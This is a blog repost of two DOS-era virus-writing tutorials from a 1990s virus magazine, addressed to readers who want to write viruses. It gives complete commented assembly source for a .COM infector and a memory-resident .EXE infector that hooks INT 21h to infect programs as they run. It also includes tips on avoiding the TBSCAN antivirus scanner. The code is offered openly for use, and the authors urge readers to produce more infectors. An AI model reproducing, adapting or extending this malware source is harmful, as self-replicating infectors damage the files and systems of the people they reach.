Pages

Tuesday, February 24, 2009

IT hacker

Virus programming (basics) #1...
-----------------------------------------------------------------
This section is dedicated to those who would like to write a
virus, but don't have the knowledge to do so. First of all,
writing a virus is no big deal. It is an easy project, but one
which requires some basic programming skills, and the desire to
write a virus! If either of these is missing, writing a virus
would be tedious indeed!.
Well, if you meet these requisites, keep reading this article....
JE READ
JNE FUCK_YOU!
READ:
The survival of a virus is based in its ability to reproduce. "So
how the fuck do I make a program reproduce?", you might ask.
Simple, by getting it to copy itself to other files....
The functional logic of a virus is as follows:
1- Search for a file to infect
2- Open the file to see if it is infected
3- If infected, search for another file
4- Else, infect the file
5- Return control to the host program.
The following is an example of a simple virus:
;****************************************************************
; START OF THE EXAMPLE:
;****************************************************************
;Warning, this example is a (piece of shit?)
; - The virus does not test for prior infection
; - it searches only for the first .COM file in the current
; directory
;
; Careful when executing this file, since the first time it's
; executed it will search for and infect the first file in the
; directory. If we later run the newly infected file, it will find
; the first file in its directory, itself. Thus, it will re-infect
; itself over and over.
;===================CODIGO=======================================
;(The variables in a .COM file are relative to offset 100h).
codigo segment 'code'
org 100h ;Organize all the code starting
; from offset 100h
assume cs:codigo,ds:codigo,es:codigo ;Define the use of the
;segments
start proc far ;Start the routine
COMIENZO:
push cs ;Store CS
push cs ;Store CS
; once again.
pop ds ;Bring DS out from stack
pop es ;Bring ES out from stack
call falso_proc ;Call proc. so that its
; address is placed in the stack
falso_proc proc near
falso_proc endp
pop bp ;BP<== Proc. address.
sub bp, 107h ;BP<== BP - Previous directory
;This is done to take the variables relative to BP, since the
;infection displaces the variables at exactly the length of the
; file. At the first infection, instruction "SUB BP, 107h" is
; 107h, so that the contents of BP is 0; when I call a variable
; with "BP+VARIABLE" the value of the variable's address is not
; modified. When I load it , for example, from a 100h byte
; infected file, the instruction "SUB BP, 107h" leaves me at
; address 207h which means BP=100h, the size of the original file.
; Had I called the variable without adding BP, I would have been
; short by 100h bytes.
;Find the first .COM file in the directory
-----------------------------------------
mov ah, 4eh ;Search for the 1st file
lea dx, bp+file_inf ;DS:DX= offset of FILE_INF
;(*.*) so it will search all
;the files, including directory
;names with extensions.
mov cx, 0000h ;Entry attributes
int 21h
;These attributes mentioned in the commentary are the directory's
; entry attributes. When I set the attributes to 0, I'm telling
; DOS to search normal files. If I include a bit combination which
; provides the Hidden, System or Directory attributes, DOS will
; search for files with those attributes, as well as the normal
; files. If the search range includes the Volume bit, the search
; is limited to that.
;These are the bits which correspond to each attribute:
;Bits: 7 6 5 4 3 2 1 0
; . . . . . . . 1 Bit 0: Read only
; . . . . . . 1 . Bit 1: Hidden
; . . . . . 1 . . Bit 2: System
; . . . . 1 . . . Bit 3: Volume
; . . . 1 . . . . Bit 4: Directory
; . . 1 . . . . . Bit 5: File
;
;Bits 6 and 7 are not used as they are reserved for "future
; applications".
;Open file
;----------------------------------------------------------------
mov ah, 3dh ;Open the file.
mov al, 00000010b ;read/write.
mov dx, 009eh ;DX<== DTA(filename) offset
int 21h ;put the handle in AX
push ax ;and store in stack.
;The attributes I'm setting in AL are not the same as before.
; These are the "open" attributes. We are only interested in the
; first 3 bits,
;bits 2 1 0:
;
; 0 0 0 Read only mode
; 0 0 1 Write only mode
; 0 1 0 Read/Write mode
;
;OK, we now have the file attributes stored in AL. What we now
; need to do is to store in DX the offset of the variable where
; I've stored the ASCIIZ chain with the name of the file to be
; opened. In this case, we don't have a NAME_OF_FILE variable.
; Instead, the name is located in the DTA (Disk Transfer Area). I
; we have it in the DTA...... Why? Simply because when we search
; for a file to infect, all the information we need is returned to
; this memory area. This buffer, if it was not reset, is found in
; the PSP; more precisely, it starts at offset 80h and is 43d bytes
; in size.
;
;The DTA format is as follows:
;
;Offset Bytes Function
; 00h 21d Used by DOS for the 4fh service
; (search for the next file)
; 15h 01d Attributes of the file that's been found
; 16h 02d File time
; 18h 02d File date
; 1Ah 04d File size in bytes
; 1Eh 13d File name in an ASCIIZ chain
; (FILENAME.EXT),0
;
;Well, all that remains to be doe is to give DX the position in
; memory where I've stored the filename: "MOV DX, E1h" and its's
; done. But careful now, remember that DTA starts at offset 80h,
; which means I have to pass to DX the value "80h+1Eh = 9Eh". That
; would than leave "MOV DX, 9Eh"; the problem is solved. Now you
are probably asking yourselves what I mean by "handle". The handle
is a number which tells DOS which file we want. DOS gives us a
handle for each file we open so we have to be careful to have the
correct handle for each file which we read/write.
;Read the first 3 bytes.
-----------------------------------------------------
pop bx ;I take the handle from the
;stack to BX
push bx ;and I store it again.
mov ah, 3fh ;Read file.
mov cx, 0003h ;Read 3 bytes.
lea dx, bp+buffer ;and store in the buffer.
int 21h
INFECTAR: ;(infect)
;Move pointer to the start.
---------------------------------------------------
mov ax, 4200h ;I move the write pointer
;to the beginning of the program
mov cx, 0000h
mov dx, 0000h
int 21h
;The pointer's displacement, relative to the position of the
; pointer as specified in AL, is placed in CX and DX.
; Pointer displacement modes set in AL:
; AL <== 00 Move pointer to the beginning of the file.
; AL <== 01 leave pointer where it is.
; AL <== 02 Move pointer to end-of-file.
;Write the first byte (jmp)
-------------------------------------------------
mov ah, 40h ;write the first byte.
mov cx, 1d ;Quantity=1.
lea dx, bp+jump ;DX<== JUMP offset
int 21h
;(Here we still need the handle, but we don't need to set it again
; because the register which contained the information was not
; modified.
;
;The first byte to be written is a JUMP instruction (the symbol for
; the jump is below). What follows the jump is the address of the
; jump, file-length + 1. (test the "+ 1" thoroughly, since this
; can cause problems; if so, multiply by 18 or subtract 23.)
; Hehehehe.
;Since the entire virus code is copied at the end of the file, the
; jump gives the virus control in an infected file.
;Calculating file length
-------------------------------------------------
mov cx, 2 ;Copy 2 bytes.
mov si, 009ah ;SI<== DTA offset
lea di, bp+longitud ;DI<== File LENGTH offset.
rep movsb ;Copy.
;This instruction must have the 'SOURCE' buffer address in DS:SI
; and the address where the string will be copied in ES:DI (in this
; case, I copy the file length of the DTA to the variable
; 'LONGITUD').
sub word ptr [bp+longitud], 3 ;subtract 3 bytes from
;[LONGITUD]
;The JMP is completed
--------------------------------------
mov ah, 40h ;Write.
mov cx, 2d ;Number of bytes.
lea dx, bp+longitud ;DX<== LONGITUD (length)
; offset
int 21h
;Move pointer to end
-------------------------------------------------------
mov ax, 4202h ;Move the write pointer to the
;end of the program.
mov cx, 0000h
mov dx, 0000h
int 21h
add word ptr [bp+longitud],3 ;Restore LONGITUD.
;Copy the virus to the program.
---------------------------------------------------
pop bx ;Restore the handle.
mov ah, 40h
mov cx, 190d ;number of bytes to copy.
lea dx, bp+comienzo ;Start copying from....
int 21h
;Close the file after infection
------------------------------------
mov ah, 3eh ;Close file.
int 21h
;Here, too, we need in DS:DX the address of the buffer which
; contains the filename string, but in this case DS and DX already
; contain those values from before.
NO_INFECTAR:
;==================RETURN CONTROL TO THE HOST=====================
;Copy the buffer which contains the first 3 bytes of the file into
; memory.
------------------
mov cx, 0003h ;Number of bytes (3).
mov di, 0100h ;DI<== offset 100h. Beginning of the
;program in memory.
lea si, bp+buffer ;SI<== BUFFER offset
rep movsb ;Copy.
;What we are doing here is to "fix" the file, since when it was
; infected, the first few bytes are overwritten by the virus. That
; is why we reconstruct the file to its original state, by copying
; the first 3 bytes, which we had stored earlier, into memory.
;Jump to offset 100h
--------------------------------------------------------
mov ax, 0100h ;Address needed to execute the host
jmp ax
;As we mentioned before, in .COM files the executable code begins
; at offset 100h. The information found between 00h and 100h is
; program data, like the DTA for example.
;The main difference between a .COM file and an .EXE is that a .COM
; cannot occupy more than one memory segment, or 65535 bytes.
; .EXEs can, because DOS can 'tailor' them to fit into a number of
; different segments. Unlike.EXE files. .COM files are faithful
; reproductions of the contents of memory.
;====================DATA AREA===================================
buffer db 7d dup(0)
longitud db 2 dup(0)
file_inf db '*.COM',0
jump db 'é',0 ;<----jump ascii
;(The character '0' is the end of the ASCIIZ string)
start endp ;End of main procedure
codigo ends ;end of code segment
end comienzo ;END. Go to COMIENZO
;****************************************************************
; END OF EXAMPLE
;****************************************************************
Drako.
Virus programming (not so basic) #2...
------------------------------------------------------------------
Infecting an .EXE is not much more difficult than infecting a
.COM. To do so, you must learn about a structure known as the EXE
header. Once you've picked this up, it's not so difficult and it
offers many more options than just a simple jump at the beginning
of the code.
Let's begin:
% The Header structure %
The information on EXE header structure is available from any
good DOS book, and even from some other H/P/V mags. Anyhow, I'll
include that information here for those who don't have those
sources to understand what I'm talking about.
Offset Description
00 EXE identifier (MZ = 4D5A)
02 Number of bytes on the last page (of 512 bytes) of the
program
04 Total number of 512 byte pages, rounded upwards
06 Number of entries in the File Allocation Table
08 Size of the header in paragraphs, including the FAT
0A Minimum memory requirement
0C Maximum memory requirement
0E Initial SS
10 Initial SP
12 Checksum
14 Initial IP
16 Initial CS
18 Offset to the FAT from the beginning of the file
1A Number of generated overlays
The EXE identifier (MZ) is what truly distinguishes the EXE from
a COM, and not the extension. The extension is only used by DOS to
determine which must run first (COM before EXE before BAT). What
really tells the system whether its a "true" EXE is this identifier
(MZ).
Entries 02 and 04 contain the program size in the following
format: 512 byte pages * 512 + remainder. In other words, if the
program has 1025 bytes, we have 3 512 byte pages (remember, we must
round upwards) plus a remainder of 1. (Actually, we could ask why
we need the remainder, since we are rounding up to the nearest
page. Even more since we are going to use 4 bytes for the size,
why
not just eliminate it? The virus programmer has such a rough life
:-)). Entry number 06 contains the number of entries in the FAT
(number of pointers, see below) and entry 18 has the offset from
the
FAT within the file. The header size (entry 08) includes the FAT.
The minimum memory requirement (0A) indicates the least amount of
free memory the program needs in order to run and the maximum (0C)
the ideal amount of memory to run the program. (Generally this is
set to FFFF = 1M by the linkers, and DOS hands over all available
memory).
The SS:SP and CS:IP contain the initial values for theses
registers (see below). Note that SS:SP is set backwards, which
means that an LDS cannot load it. The checksum (12) and the number
of overlays (1a) can be ignored since these entries are never used.
% EXE vs. COM load process %
Well, by now we all know exhaustively how to load a .COM:
We build a PSP, we create an Environment Block starting from the
parent block, and we copy the COM file into memory exactly as it
is, below the PSP. Since memory is segmented into 64k "caches" no
COM file can be larger than 64K. DOS will not execute a COM file
larger than 64K. Note that when a COM file is loaded, all
available memory is granted to the program.
Where it pertains to EXEs, however, bypassing these limitations is
much more complex; we must use the FAT and the EXE header for
this.
When an EXE is executed, DOS first performs the same functions
as
in loading a COM. It then reads into a work area the EXE header
and, based on the information this provides, reads the program into
its proper location in memory. Lastly, it reads the FAT into
another work area. It then relocates the entire code.
What does this consist of? The linker will always treat any
segment references as having a base address of 0. In other words,
the first segment is 0, the second is 1, etc. On the other hand,
the program is loaded into a non-zero segment; for example, 1000h.
In this case, all references to segment 1 must be converted to
segment 1001h.
The FAT is simply a list of pointers which mark references of
this type (to segment 1, etc.). These pointers, in turn, are also
relative to base address 0, which means they, too, can be
reallocated. Therefore, DOS adds the effective segment (the
segment into which the program was loaded; i.e. 1000h) to the
pointer in the FAT and thus obtains an absolute address in memory
to reference the segment. The effective segment is also added to
this reference, and having done this with each and every segment
reference, the EXE is reallocated and is ready to execute.
Finally, DOS sets SS:SP to the header values (also reallocated; the
header SS + 1000H), and turns control over to the CS:IP of the
header (obviously also reallocated).
Lets look at a simple exercise:
EXE PROGRAM FILE
Header CS:IP (Header) 0000:0000 +
(reallocation Eff. Segment 1000 +
table entries=2) PSP 0010 =
-------------------------
Entry Point 1010:0000 >ÄÄÄÄÄÄÄÄÄ¿
Reallocation Table ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
0000:0003 >ÄÄÄÄÄÄÄÄÄ> + 1010H = 1010:0003 >ÄÄ¿ ³
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
0000:0007 >ÄÄÄÄÄÄÅÄÄ> + 1010H = 1010:0007 >ÄÄ¿ ³
ÚÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
Program Image ³ ³ PROGRAM IN MEMORY ³
³ ³ PSP 1000:0000 ³
call 0001:0000 ³ ÀÄÄ> call 1011:0000 1010:0000 mov ax, 1013
1010:0006
mov ds, ax mov ds, ax 1010:0009
Note: I hope you appreciate my use of the little arrows, because it
cost me a testicle to do it by hand using the Alt+??? keys in
Norton Commander Editor.
% Infecting the EXE %
Once it has been determined that the file is an EXE and NOT a
COM, use the following steps to infect it:
- Obtain the file size and calculate the CS:IP
This is complex. Most, if not all, viruses add 1 to 15
garbage bytes to round out to a paragraph. This allows you to
calculate CS in such a way that IP does not vary from file to
file. This, in turn, allows you to write the virus without
"reallocation" since it will always run with the same offset,
making the virus both less complex and smaller. The (minimal)
effort expended in writing these 1 - 15 bytes is justified by
these benefits.
- Add the virus to the end of the file.
Well, I'm sure that by now you are familiar function 40H of
Int 21H, right? :-)
- Calculate the SS:SP
When infecting an EXE it is necessary for the virus to "fix"
itself a new stack since otherwise the host's stack could be
superimposed over the virus code and have it be overwritten
when the code is executed. The system would then hang.
Generally, SS is the same as the calculated CS, and SP is
constant (you can put it after the code). Something to keep
in mind: SP can never be an odd number because, even though it
will work, it is an error and TBSCAN will catch it. (TBSCAN
detects 99% of the virus stacks with the "K" flag. The only
way to elude this that I'm aware of, is to place the stack
AHEAD of the virus in the infected file, which is a pain in
the ass because the infection size increases and you have to
write more "garbage" to make room for the stack.
- Modify the size shown in the header
Now that you've written the virus, you can calculate the final
size and write it in the header. It's easy: place the size
divided by 512 plus 1 in 'pages' and the rest in 'remainder'.
All it takes is one DIV instruction.
- Modify the "MinAlloc"
In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS
will give it all the available memory. In such cases, there
is more than enough room for HOST+VIRUS. But, two things
could happen:
1. It could be that "MaxAlloc" is not set to FFFF, in which
case only the minimum memory is granted to the host and
possibly nothing for the virus.
2. It could be that there is too little memory available,
thus when the system gives the program "all the available
memory" (as indicated by FFFF) there may still be
insufficient memory for HOST+VIRUS.
In both cases, the virus does not load and the system halts.
To get around this, all that needs to be done is to add to
"MinAlloc" the size of the virus in "paragraphs". In the
first case, DOS would load the program and everything would
work like a charm. In the second case, DOS would not execute
the file due to "insufficient memory".
Well, that's all. Just two last little things: when you write an
EXE infector, we are interested not only in the infection routine
but also the installation routine. Keep in mind that in an EXE DS
and ES point to the PSP and are different from SS and CS (which in
turn can be different from each other). This can save you from
hours of debugging and inexplicable errors. All that needs to be
done is to follow the previously mentioned steps in order to infect
in the safe, "traditional" way. I recommend that you study
carefully the virus example below as it illustrates all the topics
we've mentioned.
% Details, Oh, Details ... %
One last detail which is somewhat important, deals with
excessively large EXEs. You sometimes see EXEs which are
larger than 500K. (For example, TC.EXE which was the IDE for
TURBO C/C++ 1.01, was 800K. Of course, these EXEs aren't very
common; they simply have internal overlays. It's almost
impossible to infect these EXEs for two reasons:
1. The first is more or less theoretical. It so happens
that it's only possible to direct 1M to registers
SEGMENT:OFFSET. For this reason, it is technically
impossible to infect EXEs 1M+ in size since it is
impossible to direct CS:IP to the end of the file. No
virus can do it. (Are there EXEs of a size greater than
1M? Yes, the game HOOK had an EXE of 1.6M. BLERGH!)
2. The second reason is of a practical nature. These EXEs
with internal overlays are not loaded whole into memory.
Only a small part of the EXE is loaded into memory, which
in turn takes care of loading the other parts AS THEY ARE
NEEDED. That's why its possible to run an 800K EXE (did
you notice that 800K > 640K? :-) ). How does this fact
make these EXEs difficult to infect? Because once one of
these EXEs has been infected and the virus has made its
modifications, the file will attempt to load itself into
memory in it's entirety (like, all 800K). Evidently, the
system will hang. It's possible to imagine a virus
capable of infecting very large EXEs which contain
internal overlays (smaller than 1M) by manipulating the
"Header Size", but even so I can't see how it would work
because at some point DOS would try to load the entire
file.
% A Special case: RAT %
Understanding the header reallocation process also allows us to
understand the functioning of a virus which infects special EXEs.
We're talking about the RAT virus. This virus takes advantage of
the fact that linkers tend to make the headers in caches of 512
bytes, leaving a lot of unused space in those situations where
there is little reallocation.
This virus uses this unused space in order to copy itself
without using the header (of the file allocation table). Of
course, it works in a totally different manner from a normal EXE
infector. It cannot allow any reallocation; since its code is
placed BEFORE the host, it would be the virus code and not the host
which is reallocated. Therefore, it can't make a simple jump to
the host to run it (since it isn't reallocated); instead, it must
re-write the original header to the file and run it with AX=4B00,
INT 21.
% Virus Example %
OK, as behooves any worthwhile virus 'zine, here is some totally
functional code which illustrates everything that's been said about
infecting EXEs. If there was something you didn't understand, or
if you want to see something "in code form", take a good look at
this virus, which is commented OUT THE ASS.
-------------------- Cut Here ------------------------------------
;NOTE: This is a mediocre virus, set here only to illustrate EXE
; infections. It can't infect READ ONLY files and it modifies the
; date/time stamp. It could be improved, such as by making it
; infect R/O files and by optimizing the code.
;
;NOTE 2: First, I put a cute little message in the code and second,
; I made it ring a bell every time it infects. So, if you infect
; your entire hard drive, it's because you're a born asshole.
code segment para public
assume cs:code, ss:code
VirLen equ offset VirEnd - offset VirBegin
VirBegin label byte
Install:
mov ax, 0BABAH ; This makes sure the virus doesn't go resident
; twice
int 21h
cmp ax, 0CACAH ; If it returns this code, it's already
; resident
jz AlreadyInMemory
mov ax, 3521h ; This gives us the original INT 21 address so
int 21h ; we can call it later
mov cs:word ptr OldInt21, bx
mov cs:word ptr OldInt21+2, es
mov ax, ds ; \
dec ax ; |
mov es, ax ; |
mov ax, es:[3] ; block size ; | If you're new at this,
; | ignore all this crap
sub ax, ((VirLen+15) /16) + 1 ; | (It's the MCB method)
xchg bx, ax ; | It's not crucial for EXE
mov ah,4ah ; | infections.
push ds ; | It's one of the ways to
pop es ; | make a virus go resident.
int 21h ; |
mov ah, 48h ; |
mov bx, ((VirLen+15) / 16) ; |
int 21h ; |
dec ax ; |
mov es, ax ; |
mov word ptr es:[1], 8 ; |
inc ax ; |
mov es, ax ; |
xor di, di ; |
xor si, si ; |
push ds ; |
push cs ; |
pop ds ; |
mov cx, VirLen ; |
repz movsb ; /
mov ax, 2521h ; Here you grab INT 21
mov dx, offset NewInt21
push es
pop ds
int 21h
pop ds ; This makes DS & ES go back to their original
; values
push ds ; IMPORTANT! Otherwise the EXE will receive the
pop es ; incorrect DE & ES values, and hang.
AlreadyInMemory:
mov ax, ds ; With this I set SS to the
; Header value.
add ax, cs:word ptr SS_SP ; Note that I "reallocate" it
; using DS since this is the
add ax, 10h ; the segment into which the
mov ss, ax ; program was loaded. The +10
; corresponds to the
mov sp, cs:word ptr SS_SP+2 ; PSP. I also set SP
mov ax, ds
add ax, cs:word ptr CS_IP+2 ; Now I do the same with CS &
add ax, 10h ; IP. I "push" them and then I
; do a retf. (?)
push ax ; This makes it "jump" to that
mov ax, cs:word ptr CS_IP ; position
push ax
retf
NewInt21:
cmp ax, 0BABAh ; This ensures the virus does not go
jz PCheck ; resident twice.
cmp ax, 4b00h ; This intercepts the "run file" function
jz Infect ;
jmp cs:OldInt21 ; If it is neither of these, it turns control
; back to the original INT21 so that it
; processes the call.
PCheck:
mov ax, 0CACAH ; This code returns the call.
iret ; return.
; Here's the infection routine. Pay attention, because this is
; "IT".
; Ignore everything else if you wish, but take a good look at this.
Infect:
push ds ; We put the file name to be infected in DS:DX.
push dx ; Which is why we must save it.
pushf
call cs:OldInt21 ; We call the original INT21 to run the file.
push bp ; We save all the registers.
mov bp, sp ; This is important in a resident routine,
;since if it isn't done,
push ax ; the system will probably hang.
pushf
push bx
push cx
push dx
push ds
lds dx, [bp+2] ; Again we obtain the filename (from the stack)
mov ax, 3d02h ; We open the file r/w
int 21h
xchg bx, ax
mov ah, 3fh ; Here we read the first 32 bytes to memory.
mov cx, 20h ; to the variable "ExeHeader"
push cs
pop ds
mov dx, offset ExeHeader
int 21h
cmp ds:word ptr ExeHeader, 'ZM' ; This determines if it's a
jz Continue ; "real" EXE or if it's a COM.
jmp AbortInfect ; If it's a COM, don't infect.
Continue:
cmp ds:word ptr Checksum, 'JA' ; This is the virus's way
; of identifying itself.
jnz Continue2 ; We use the Header Chksum for this
jmp AbortInfect ; It's used for nothing else. If
; already infected, don't re-infect. :-)
Continue2:
mov ax, 4202h ; Now we go to the end of file to see of it
cwd ; ends in a paragraph
xor cx, cx
int 21h
and ax, 0fh
or ax, ax
jz DontAdd ; If "yes", we do nothing
mov cx, 10h ; If "no", we add garbage bytes to serve as
sub cx, ax ; Note that the contents of DX no longer matter
mov ah, 40h ; since we don't care what we're inserting.
int 21h
DontAdd:
mov ax, 4202h ; OK, now we get the final size, rounded
cwd ; to a paragraph.
xor cx, cx
int 21h
mov cl, 4 ; This code calculates the new CS:IP the file must
shr ax, cl ; now have, as follows:
mov cl, 12 ; File size: 12340H (DX=1, AX=2340H)
shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS
add dx, ax ; DX now has the CS value it must have.
sub dx, word ptr ds:ExeHeader+8 ; We subtract the number of
; paragraphs from the header
push dx ; and save the result in the stack for later.
; <------- Do you understand why you can't infect
; EXEs larger than 1M?
mov ah, 40h ; Now we write the virus to the end of the file.
mov cx, VirLen ; We do this before touching the header so that
cwd ; CS:IP or SS:SP of the header (kept within the
; virus code)
int 21h ; contains the original value
; so that the virus installation routines work
; correctly.
pop dx
mov ds:SS_SP, dx ; Modify the header CS:IP so that it
; points to the virus.
mov ds:CS_IP+2, dx ; Then we place a 100h stack after the
mov ds:word ptr CS_IP, 0 ; virus since it will be used by
; the virus only during the installation process. Later, the
; stack changes and becomes the programs original stack.
mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2
; the previous command SP to have an even value, otherwise
; TBSCAN will pick it up.
mov ax, 4202h ; We obtain the new size so as to calculate the
xor cx, cx ; size we must place in the header.
cwd
int 21h
mov cx, 200h ; We calculate the following:
div cx ; FileSize/512 = PAGES plus remainder
inc ax ; We round upwards and save
mov word ptr ds:ExeHeader+2, dx ; it in the header to
mov word ptr ds:ExeHeader+4, ax ; write it later.
mov word ptr ds:Checksum, 'JA'; We write the virus's
; identification mark in the
; checksum.
add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h
; We add the number of paragraphs to the "MinAlloc"
; to avoid memory allocation problems (we also add 10
; paragraphs for the virus's stack.
mov ax, 4200h ; Go to the start of the file
cwd
xor cx, cx
int 21h
mov ah, 40h ; and write the modified header....
mov cx, 20h
mov dx, offset ExeHeader
int 21h
mov ah, 2 ; a little bell rings so the beginner remembers
mov dl, 7 ; that the virus is in memory. IF AFTER ALL
int 21h ; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR
; NUTS.
AbortInfect:
mov ah, 3eh ; Close the file.
int 21h
pop ds ; We pop the registers we pushed so as to save
pop dx ; them.
pop cx
pop bx
pop ax;flags ; This makes sure the flags are passed
mov bp, sp ; correctly. Beginners can ignore this.
mov [bp+12], ax
pop ax
pop bp
add sp, 4
iret ; We return control.
; Data
OldInt21 dd 0
; Here we store the original INT 21 address.
ExeHeader db 0eh DUP('H');
SS_SP dw 0, offset VirEnd+100h
Checksum dw 0
CS_IP dw offset Hoste,0
dw 0,0,0,0
; This is the EXE header.
VirEnd label byte
Hoste:
; This is not the virus host, rather the "false host" so that
; the file carrier runs well :-).
mov ah, 9
mov dx, offset MSG
push cs
pop ds
int 21h
mov ax, 4c00h
int 21h
MSG db "LOOK OUT! The virus is now in memory!", 13, 10
db "And it could infect all the EXEs you run!", 13, 10
db "If you get infected, that's YOUR problem", 13, 10
db "We're not responsible for your stupidity!$"
ends
end
-------------------- Cut Here -------------------------------------
% Conclusion %
OK, that's all, folks. I tried to make this article useful for
both the "profane" who are just now starting to code Vx as well as
for those who have a clearer idea. Yeah, I know the beginners
almost certainly didn't understand many parts of this article due
the complexity of the matter, and the experts may not have
understood some parts due to the incoherence and poor descriptive
abilities of the writer. Well, fuck it.
Still, I hope it has been useful and I expect to see many more
EXE infectors from now on. A parting shot: I challenge my readers
to write a virus capable of infecting an 800K EXE file (I think
it's impossible). Prize: a lifetime subscription to Minotauro
Magazine :-).
Trurl, the great "constructor"

0 komentar:

Post a Comment